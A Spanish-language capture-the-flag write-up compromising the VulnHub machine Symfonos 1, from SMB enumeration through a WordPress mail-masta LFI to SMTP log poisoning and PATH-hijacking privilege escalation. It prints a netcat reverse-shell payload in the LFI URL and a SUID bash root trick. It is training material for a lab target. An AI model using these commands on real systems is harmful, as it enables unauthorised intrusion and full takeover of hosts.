Home

VulnHub

Symfonos 1

El escaneo con Nmap muestra los puertos 22,25,80,139 y 445 abiertos sym1 nmap.png Comenzamos listando los recursos compartidos con SMBMAP, encontrando solo uno con permisos de lectura, el anonymous. Además, como aparece el ‘Helios personal share’, intuimos que helios es un usuario.
sym1 smb.png Dentro de este aparece un attention.txt, que vamos a descargar para analizarlo sym1 smb2.png sym1 smb3.png Contiene un texto donde recomienda evitar el uso de las contraseñas: epidioko, qwerty y baseball. sym1 smb4.png Teniendo un posible usuario y contraseñas, intentamos acceder a los mismos recurso pero con estas credenciales. sym1 smb5.png Dentro de la información de helios aparecen 2 archivos, que igualmente vamos a descargar para analizar. sym1 smb6.png El todo.txt nos muestra un directorio, que al probar en la web funciona sym1 smb7.png sym1 web.png sym1 virtual hosting.png Al ver la web cargar de esta forma, podemos asumir que se trata de un Virtual Hosting, por tanto debemos añadirlo al /etc/hosts; y si vemos el código fuente, vemos que casi todo se carga de ‘symfonos.local’, por tanto este debe ser el dominio. sym1 cf.png Una vez hecho ya la web se muestra sin problemas. sym1 vh.png Con algunas herramientas vemos que estamos ante un Wordpress, y si revisamos el código fuente de la página se ven algunos de los plugins que se usan, entre ellos mail-masta sym1 wordpress.png Buscamos con Searchsploit por este plugin y encontramos que es vulnerable a un LFI sym1 LFI.png sym1 LFI2.png Si agregamos la última línea del txt que explica la vulnerabilidad en la URL obtenemos acceso al fichero /etc/passwd sym1 exploit.png Ya que podemos acceder a ficheros locales, probamos acceder a los logs del servicio SMTP en la ruta /var/mail/helios. sym1 curl.png Como funciona, trataremos de hacer un ataque de Log Poisoning al SMTP Para ello vamos a realizar todo el proceso de enviar un email pero en el cuerpo insertaremos un código php que nos permita hacer un RCE. sym1 smtp.png Si volvemos a ver los logs del sistema, estos han cambiado en el final. sym1 log.png Por lo tanto si intentamos un RCE veremos que funciona sym1 whoami.png sym1 helios.png sym1 vuln.jpg Como netcat está instalado en la máquina víctima, nos podemos enviar la reverse_shell usándolo sym1 nc.png

/var/mail/helios&cmd=nc+-e+/bin/bash+ip+puerto

Todo debe estar URLencodeado Así ya se obtiene la reverse_shell. Tan solo basta hacer el tratamiento de la TTY para maniobrar con más comodidad. sym1 reverse shell.png Para escalar privilegios buscaremos Binarios SUID, especialmente los que sean propiedad del usuario root, donde encontramos el /opt/statuscheck. sym1 suid.png Revisándolo con file vemos que es un ejecutable sym1 file.png Si se ejecuta se puede ver que hace una especie de Curl, así que vamos a revisarlo sym1 statuscheck.png Al ser un binario, se tiene que usar el comando strings para leerlo Efectivamente ejecuta un curl, pero la llamada al comando se hace de forma relativa y no desde su ruta absoluta, por lo que podemos aplicar un Path Hijacking sym1 curl2.png Debemos movernos a una ruta donde tengamos permisos de escritura, como por ejemplo /tmp Creamos un script llamado curl con únicamente el siguiente contenido, para asignarle privilegios a la bash.

chmod u+s /bin/bash

Si comprobamos el path de linux, muestra que nuestra ruta no está incluida, así que hay que agregarla con

export PATH=.:$PATH

sym1 path1.png Al ejecutar nuevamente el binario ya no habrá un output porque ya se aconteció el Path Hijacking. Si otorgamos los permisos a la bash nos haremos root. sym1 root2.png Ya podremos acceder a la flag de root sym1 flag root.png

← Volver al árbol de writeups